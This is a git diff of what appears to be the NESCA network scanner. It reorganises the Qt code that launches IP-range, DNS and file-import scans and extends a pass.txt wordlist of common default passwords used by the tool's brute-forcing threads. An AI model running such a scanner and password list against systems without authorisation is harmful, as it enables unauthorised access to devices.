@ -1456,7 +1382,6 @@ void nesca_3::slotClearLogs()
|
||||
ui->BAText->clear();
|
||||
}
|
||||
|
||||
|
||||
int c = 1;
|
||||
void nesca_3::slotSaveImage(QAction *qwe)
|
||||
{
|
||||
@ -2015,130 +1940,6 @@ void nesca_3::smReaction()
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::IPScanSeq()
|
||||
{
|
||||
if(ui->ipLine->text() != "")
|
||||
{
|
||||
if(ui->ipmPortLine->text() != "")
|
||||
{
|
||||
stopFirst = false;
|
||||
ui->tabMainWidget->setTabEnabled(1, false);
|
||||
ui->tabMainWidget->setTabEnabled(2, false);
|
||||
|
||||
saveOptions();
|
||||
|
||||
stt->setMode(0);
|
||||
stt->setTarget((ui->ipLine->text().indexOf("-") > 0 ? ui->ipLine->text() :
|
||||
(ui->ipLine->text().indexOf("/") < 0 ? ui->ipLine->text() + "-" + ui->ipLine->text() : ui->ipLine->text())
|
||||
));
|
||||
stt->setPorts(ui->ipmPortLine->text().replace(" ", ""));
|
||||
stt->start();
|
||||
|
||||
startFlag = true;
|
||||
ui->startScanButton_3->setText("Stop");
|
||||
ui->startScanButton_3->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
ui->dataText->clear();
|
||||
}
|
||||
else stt->doEmitionRedFoundData("No ports specified!");
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::DNSScanSeq()
|
||||
{
|
||||
if(ui->lineEditStartIPDNS->text() != "")
|
||||
{
|
||||
if(ui->dnsPortLine->text() != "")
|
||||
{
|
||||
if(ui->lineEditStartIPDNS->text().indexOf(".") > 0)
|
||||
{
|
||||
stopFirst = false;
|
||||
ui->tabMainWidget->setTabEnabled(0, false);
|
||||
ui->tabMainWidget->setTabEnabled(2, false);
|
||||
|
||||
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
|
||||
ui->lineEditStartIPDNS->setText(lst[0]);
|
||||
QString topLevelDomainStr;
|
||||
for(int i = 1; i < lst.size(); ++i)
|
||||
{
|
||||
topLevelDomainStr += ".";
|
||||
topLevelDomainStr += lst[i];
|
||||
};
|
||||
ui->lineILVL->setText(topLevelDomainStr);
|
||||
};
|
||||
|
||||
saveOptions();
|
||||
|
||||
stt->setMode(1);
|
||||
stt->setTarget(ui->lineEditStartIPDNS->text());
|
||||
stt->setPorts(ui->dnsPortLine->text().replace(" ", ""));
|
||||
stt->start();
|
||||
|
||||
startFlag = true;
|
||||
ui->startScanButton_4->setText("Stop");
|
||||
ui->startScanButton_4->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
ui->dataText->clear();
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No ports specified!");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("Wrong mask input.");
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::ImportScanSeq()
|
||||
{
|
||||
QString fileName;
|
||||
|
||||
if(importFileName.size() == 0) fileName = QFileDialog::getOpenFileName(this, tr("Open File"),
|
||||
"",
|
||||
tr("Files (*.txt)")
|
||||
);
|
||||
else fileName = importFileName;
|
||||
|
||||
if(fileName != "")
|
||||
{
|
||||
stopFirst = false;
|
||||
ui->tabMainWidget->setTabEnabled(0, false);
|
||||
ui->tabMainWidget->setTabEnabled(1, false);
|
||||
|
||||
_LoadPersInfoToLocalVars(savedTabIndex);
|
||||
|
||||
stt->setMode(-1);
|
||||
stt->setTarget(fileName);
|
||||
stt->setPorts(ui->importPortLine->text().replace(" ", ""));
|
||||
stt->start();
|
||||
|
||||
startFlag = true;
|
||||
pbTh->start();
|
||||
ui->importButton->setText("Stop");
|
||||
ui->importButton->setStyleSheet(
|
||||
" #importButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
ui->dataText->clear();
|
||||
}
|
||||
else stt->doEmitionYellowFoundData("Empty filename.");
|
||||
}
|
||||
|
||||
QLabel *smsgLbl;
|
||||
QLabel *smsgNLbl;
|
||||
void nesca_3::slotShowServerMsg(QString str)
|
||||
@ -2695,24 +2496,7 @@ void nesca_3::ChangePingerOK(bool val)
|
||||
else ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;");
|
||||
}
|
||||
|
||||
void nesca_3::STTTerminate()
|
||||
{
|
||||
globalScanFlag = false;
|
||||
startFlag = false;
|
||||
importFileName = "";
|
||||
ui->tabMainWidget->setTabEnabled(0, true);
|
||||
ui->tabMainWidget->setTabEnabled(1, true);
|
||||
ui->tabMainWidget->setTabEnabled(2, true);
|
||||
ui->tabMainWidget->setTabEnabled(3, true);
|
||||
BrutingThrds = 0;
|
||||
setButtonStyleArea();
|
||||
stt->doEmitionUpdateArc(0);
|
||||
ui->startScanButton_3->setText("Start");
|
||||
ui->startScanButton_4->setText("Start");
|
||||
ui->importButton->setText("Import");
|
||||
ui->labelStatus_Value->setText("Idle");
|
||||
}
|
||||
|
||||
bool stopFirst;
|
||||
void nesca_3::startScanButtonClicked()
|
||||
{
|
||||
if(startFlag == false)
|
||||
@ -2742,12 +2526,12 @@ void nesca_3::startScanButtonClicked()
|
||||
ui->startScanButton_3->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"color: yellow;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->startScanButton_3->setText("STOP!");
|
||||
ui->startScanButton_3->setText("Wait...");
|
||||
stt->doEmitionBlockButton(true);
|
||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||
}
|
||||
@ -2798,14 +2582,15 @@ void nesca_3::startScanButtonClickedDNS()
|
||||
ui->startScanButton_4->setStyleSheet(
|
||||
" #startScanButton_4 {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"color: yellow;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->startScanButton_4->setText("STOP!");
|
||||
ui->startScanButton_4->setText("Wait...");
|
||||
stt->doEmitionBlockButton(true);
|
||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||
STTTerminate();
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -2825,6 +2610,201 @@ void nesca_3::startScanButtonClickedDNS()
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::importAndScan()
|
||||
{
|
||||
if (startFlag == false)
|
||||
{
|
||||
if (trackerOK)
|
||||
{
|
||||
if (ui->linePersKey->text().size() != 0)
|
||||
{
|
||||
CheckPersKey(2);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionStartScanImport();
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
ui->importButton->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: yellow;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->importButton->setText("Wait...");
|
||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||
globalScanFlag = false;
|
||||
|
||||
if (stopFirst == false)
|
||||
{
|
||||
stopFirst = true;
|
||||
ui->importButton->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: yellow;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->importButton->setText("Wait...");
|
||||
stt->doEmitionBlockButton(true);
|
||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||
importFileName = "";
|
||||
}
|
||||
else
|
||||
{
|
||||
ui->importButton->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: yellow;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
|
||||
ui->importButton->setText("Wait...");
|
||||
stt->doEmitionYellowFoundData("Wait, killing threads...");
|
||||
STTTerminate();
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::IPScanSeq()
|
||||
{
|
||||
if (ui->ipLine->text() != "")
|
||||
{
|
||||
if (ui->ipmPortLine->text() != "")
|
||||
{
|
||||
ui->ipLine->text().replace("http://", "");
|
||||
ui->ipLine->text().replace("https://", "");
|
||||
ui->ipLine->text().replace("ftp://", "");
|
||||
if (ui->ipLine->text()[ui->ipLine->text().length() - 1] == '/') ui->ipLine->text()[ui->ipLine->text().length() - 1] = '\0';
|
||||
stopFirst = false;
|
||||
ui->tabMainWidget->setTabEnabled(1, false);
|
||||
ui->tabMainWidget->setTabEnabled(2, false);
|
||||
|
||||
saveOptions();
|
||||
|
||||
stt->setMode(0);
|
||||
stt->setTarget((ui->ipLine->text().indexOf("-") > 0 ? ui->ipLine->text() :
|
||||
(ui->ipLine->text().indexOf("/") < 0 ? ui->ipLine->text() + "-" + ui->ipLine->text() : ui->ipLine->text())
|
||||
));
|
||||
stt->setPorts(ui->ipmPortLine->text().replace(" ", ""));
|
||||
stt->start();
|
||||
|
||||
startFlag = true;
|
||||
ui->startScanButton_3->setText("Stop");
|
||||
ui->startScanButton_3->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
ui->dataText->clear();
|
||||
}
|
||||
else stt->doEmitionRedFoundData("No ports specified!");
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::DNSScanSeq()
|
||||
{
|
||||
if (ui->lineEditStartIPDNS->text() != "")
|
||||
{
|
||||
if (ui->dnsPortLine->text() != "")
|
||||
{
|
||||
if (ui->lineEditStartIPDNS->text().indexOf(".") > 0)
|
||||
{
|
||||
stopFirst = false;
|
||||
ui->tabMainWidget->setTabEnabled(0, false);
|
||||
ui->tabMainWidget->setTabEnabled(2, false);
|
||||
|
||||
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
|
||||
ui->lineEditStartIPDNS->setText(lst[0]);
|
||||
QString topLevelDomainStr;
|
||||
for (int i = 1; i < lst.size(); ++i)
|
||||
{
|
||||
topLevelDomainStr += ".";
|
||||
topLevelDomainStr += lst[i];
|
||||
};
|
||||
ui->lineILVL->setText(topLevelDomainStr);
|
||||
};
|
||||
|
||||
saveOptions();
|
||||
|
||||
stt->setMode(1);
|
||||
stt->setTarget(ui->lineEditStartIPDNS->text());
|
||||
stt->setPorts(ui->dnsPortLine->text().replace(" ", ""));
|
||||
stt->start();
|
||||
|
||||
startFlag = true;
|
||||
ui->startScanButton_4->setText("Stop");
|
||||
ui->startScanButton_4->setStyleSheet(
|
||||
" QPushButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
ui->dataText->clear();
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No ports specified!");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("Wrong mask input.");
|
||||
};
|
||||
}
|
||||
|
||||
void nesca_3::ImportScanSeq()
|
||||
{
|
||||
QString fileName;
|
||||
|
||||
if (importFileName.size() == 0) fileName = QFileDialog::getOpenFileName(this, tr("Open File"),
|
||||
"",
|
||||
tr("Files (*.txt)")
|
||||
);
|
||||
else fileName = importFileName;
|
||||
|
||||
if (fileName != "")
|
||||
{
|
||||
stopFirst = false;
|
||||
ui->tabMainWidget->setTabEnabled(0, false);
|
||||
ui->tabMainWidget->setTabEnabled(1, false);
|
||||
|
||||
_LoadPersInfoToLocalVars(savedTabIndex);
|
||||
|
||||
stt->setMode(-1);
|
||||
stt->setTarget(fileName);
|
||||
stt->setPorts(ui->importPortLine->text().replace(" ", ""));
|
||||
stt->start();
|
||||
|
||||
startFlag = true;
|
||||
pbTh->start();
|
||||
ui->importButton->setText("Stop");
|
||||
ui->importButton->setStyleSheet(
|
||||
" #importButton {"
|
||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||
"color: red;"
|
||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||
"}"
|
||||
);
|
||||
ui->dataText->clear();
|
||||
}
|
||||
else stt->doEmitionYellowFoundData("Empty filename.");
|
||||
}
|
||||
|
||||
void nesca_3::logoLabelClicked()
|
||||
{
|
||||
QDesktopServices::openUrl(QUrl("http://nesca.d3w.org/"));
|
||||
@ -3011,7 +2991,6 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
||||
};
|
||||
#endif
|
||||
|
||||
|
||||
std::thread fuThread(FileDownloader::checkWebFiles);
|
||||
fuThread.detach();
|
||||
|
||||
@ -3025,3 +3004,22 @@ nesca_3::~nesca_3()
|
||||
{
|
||||
delete[] ui;
|
||||
}
|
||||
|
||||
void nesca_3::STTTerminate()
|
||||
{
|
||||
globalScanFlag = false;
|
||||
startFlag = false;
|
||||
importFileName = "";
|
||||
ui->tabMainWidget->setTabEnabled(0, true);
|
||||
ui->tabMainWidget->setTabEnabled(1, true);
|
||||
ui->tabMainWidget->setTabEnabled(2, true);
|
||||
ui->tabMainWidget->setTabEnabled(3, true);
|
||||
BrutingThrds = 0;
|
||||
setButtonStyleArea();
|
||||
stt->doEmitionUpdateArc(0);
|
||||
ui->startScanButton_3->setText("Start");
|
||||
ui->startScanButton_4->setText("Start");
|
||||
ui->importButton->setText("Import");
|
||||
ui->labelStatus_Value->setText("Idle");
|
||||
Threader::cleanUp();
|
||||
}
|
||||
|
4
pass.txt
4
pass.txt
@ -39,6 +39,10 @@ dreambox
|
||||
master
|
||||
12345678
|
||||
666666
|
||||
888888
|
||||
777777
|
||||
555555
|
||||
111222333
|
||||
123123123
|
||||
123454321
|
||||
0123456789
|
||||
|
@ -21,7 +21,7 @@ void _checkVer()
|
||||
if(strcmp(gVER, ptr1 + 4) != 0)
|
||||
{
|
||||
stt->doEmitionFoundData("<br><font color=\"Pink\">======Update required======<br>Latest version: " + QString(ptr1 + 4) +
|
||||
"<br>Your version: " + QString(gVER) + "<br>=======================</font>");
|
||||
"<br>Your version: " + QString(gVER) + "<br>=========================</font>");
|
||||
stt->doEmitionShowRedVersion();
|
||||
};
|
||||
};
|
||||
|
Loading…
Reference in New Issue
Block a user